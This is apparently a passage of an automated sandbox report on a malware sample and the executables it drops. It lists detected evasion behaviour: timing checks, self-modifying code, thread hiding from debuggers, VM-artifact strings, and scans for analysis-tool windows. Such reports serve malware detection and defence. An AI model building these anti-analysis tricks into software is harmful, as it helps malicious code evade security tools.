Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380ED9 second address: 5380F20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F7A4994017Eh 0x00000011 push eax 0x00000012 jmp 00007F7A4994017Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7A49940180h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380F20 second address: 5380F24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380F24 second address: 5380F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380F2A second address: 5380F57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A4900AE77h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380F57 second address: 5380F5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380F5D second address: 5380F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380F61 second address: 5380F76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7A4994017Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380F76 second address: 5380F7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380F7B second address: 5380F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390287 second address: 53902BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, 03h 0x00000005 mov edi, 5E646894h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F7A4900AE73h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 call 00007F7A4900AE6Bh 0x0000001d pop ecx 0x0000001e mov dh, 3Ah 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B06B8 second address: 53B073A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940186h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F7A4994017Ch 0x00000011 jmp 00007F7A49940185h 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F7A4994017Ch 0x00000020 jmp 00007F7A49940185h 0x00000025 popfd 0x00000026 mov ch, C4h 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F7A49940186h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B073A second address: 53B0740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0740 second address: 53B0744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0744 second address: 53B076D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F7A4900AE76h 0x0000000e mov dword ptr [esp], ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movsx edx, si 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B076D second address: 53B07CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940182h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FB65FCh] 0x0000000e pushad 0x0000000f pushad 0x00000010 mov esi, ebx 0x00000012 pushfd 0x00000013 jmp 00007F7A4994017Fh 0x00000018 adc cl, FFFFFFCEh 0x0000001b jmp 00007F7A49940189h 0x00000020 popfd 0x00000021 popad 0x00000022 popad 0x00000023 test eax, eax 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 call 00007F7A4994017Ah 0x0000002d pop ecx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B07CB second address: 53B07FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop eax 0x0000000b popad 0x0000000c popad 0x0000000d je 00007F7ABAB8DFF4h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov cl, D3h 0x00000018 call 00007F7A4900AE79h 0x0000001d pop ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B07FE second address: 53B087B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4994017Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d jmp 00007F7A4994017Dh 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F7A49940181h 0x00000019 adc cl, 00000026h 0x0000001c jmp 00007F7A49940181h 0x00000021 popfd 0x00000022 popad 0x00000023 xor eax, dword ptr [ebp+08h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 jmp 00007F7A49940188h 0x0000002e jmp 00007F7A49940182h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0932 second address: 53B0936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0936 second address: 53B096D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940185h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a ret 0x0000000b nop 0x0000000c push eax 0x0000000d call 00007F7A4E2C0A00h 0x00000012 mov edi, edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F7A49940188h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B096D second address: 53B0973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C39775 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C37D8D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A7C1CE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CC753C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1169775 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1167D8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FAC1CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11F753C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Special instruction interceptor: First address: 77CB35 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Special instruction interceptor: First address: 94DA4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Special instruction interceptor: First address: 935E1C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Special instruction interceptor: First address: A7FB0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Special instruction interceptor: First address: C52B90 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Special instruction interceptor: First address: CAE5A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Special instruction interceptor: First address: 77BF22 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Special instruction interceptor: First address: 7E46F6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Special instruction interceptor: First address: 65DBF22 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Special instruction interceptor: First address: 66446F6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Memory allocated: 5400000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Memory allocated: 5650000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Memory allocated: 5590000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_053D0DAF rdtsc

0_2_053D0DAF

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Code function: 7_2_065A4679 sidt fword ptr [esp-02h]

7_2_065A4679

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1861	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1804	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe	Window / User API: threadDelayed 9635

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5472	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5472	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2492	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2492	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5868	Thread sleep count: 326 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5868	Thread sleep time: -9780000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7536	Thread sleep count: 1861 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7536	Thread sleep time: -3723861s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1744	Thread sleep count: 1804 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1744	Thread sleep time: -3609804s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2944	Thread sleep count: 57 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2944	Thread sleep time: -114057s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1928	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 7648	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 7676	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 7752	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 7776	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 7664	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 7668	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 7672	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 7656	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 6024	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 2504	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 5956	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 2076	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 1984	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 1852	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 5680	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe TID: 2828	Thread sleep count: 119 > 30
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe TID: 2828	Thread sleep count: 136 > 30
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 3176	Thread sleep time: -62031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 1716	Thread sleep time: -54027s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 504	Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 1260	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 1464	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe TID: 5652	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe TID: 5164	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe TID: 6644	Thread sleep count: 9635 > 30
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe TID: 6644	Thread sleep time: -96350s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe TID: 6644	Thread sleep count: 177 > 30
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe TID: 6644	Thread sleep count: 187 > 30
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe TID: 5240	Thread sleep count: 294 > 30
Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe TID: 5240	Thread sleep count: 175 > 30

Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe

Thread sleep count: Count: 9635 delay: -10

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000002.00000002.1821553428.0000000001147000.00000040.00000001.01000000.00000008.sdmp, d015c0e328.exe, d015c0e328.exe, 00000007.00000002.2902629480.0000000000900000.00000040.00000001.01000000.0000000A.sdmp, d015c0e328.exe, 00000007.00000002.2928166711.0000000006599000.00000040.00000800.00020000.00000000.sdmp, 9b8665be8a.exe, 9b8665be8a.exe, 00000008.00000002.2534980003.0000000000C0F000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: d015c0e328.exe, d015c0e328.exe, 0000000A.00000003.2746676233.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2840231634.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2957610878.00000000004EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: d015c0e328.exe, 00000007.00000002.2905216851.0000000001141000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 9b8665be8a.exe, 00000008.00000002.2537402557.000000000138E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1786470320.0000000000C17000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1816252916.0000000001147000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000002.1821553428.0000000001147000.00000040.00000001.01000000.00000008.sdmp, d015c0e328.exe, 00000007.00000002.2902629480.0000000000900000.00000040.00000001.01000000.0000000A.sdmp, d015c0e328.exe, 00000007.00000002.2928166711.0000000006599000.00000040.00000800.00020000.00000000.sdmp, 9b8665be8a.exe, 00000008.00000002.2534980003.0000000000C0F000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: d015c0e328.exe, 00000007.00000002.2905216851.0000000001141000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2798934875.000000000113E000.00000004.00000020.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2693329851.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<(7
Source: d015c0e328.exe, 00000007.00000002.2905216851.0000000001141000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}List,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe	Process queried: DebugPort

